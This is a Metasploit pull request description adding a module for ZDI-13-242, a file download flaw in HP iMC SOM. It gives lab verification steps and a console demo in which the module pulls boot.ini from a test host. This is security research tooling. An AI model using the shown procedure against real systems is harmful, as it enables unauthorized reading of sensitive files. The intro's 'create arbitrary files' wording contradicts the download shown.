rapid7/metasploit-framework — pull request #2571 by jvazquez-r7 (2013-10-23 21:10:46+00:00)
Title: Add module for ZDI-13-242

Tested successfully on HP Intelligent Management Center 5.2 E0401 with SOM 5.2 E0401 over Windows 2003 SP2. The module allows to create arbitrary files, with system, providing the full path (no traversal)

**Verification**

- [ ] Download a vulnerable HP iMC from http://h17007.www1.hp.com/us/en/networking/products/network-management/IMC_ES_Platform/index.aspx#.Umg5-JRASaI
- [ ] Download a vulnerable SOM version from http://h17007.www1.hp.com/us/en/networking/products/network-management/IMC_SOM_Software/#.Umg6CpRASaI
- [ ] Install the things on W2003SP2
- [ ] Use the module as showed in the demo, should allow to download anything from the remote.

**DEMO**

```
msf auxiliary(hp_imc_som_file_download) > set rhosts 192.168.172.133
rhosts => 192.168.172.133
msf auxiliary(hp_imc_som_file_download) > run

[+] 192.168.172.133:8080 - File saved in: /Users/juan/.msf4/loot/20131023160754_default_192.168.172.133_hp.imc.somfiledo_573076.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(hp_imc_som_file_download) > cat /Users/juan/.msf4/loot/20131023160754_default_192.168.172.133_hp.imc.somfiledo_573076.ini
[*] exec: cat /Users/juan/.msf4/loot/20131023160754_default_192.168.172.133_hp.imc.somfiledo_573076.ini

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard" /noexecute=optout /fastdetect
```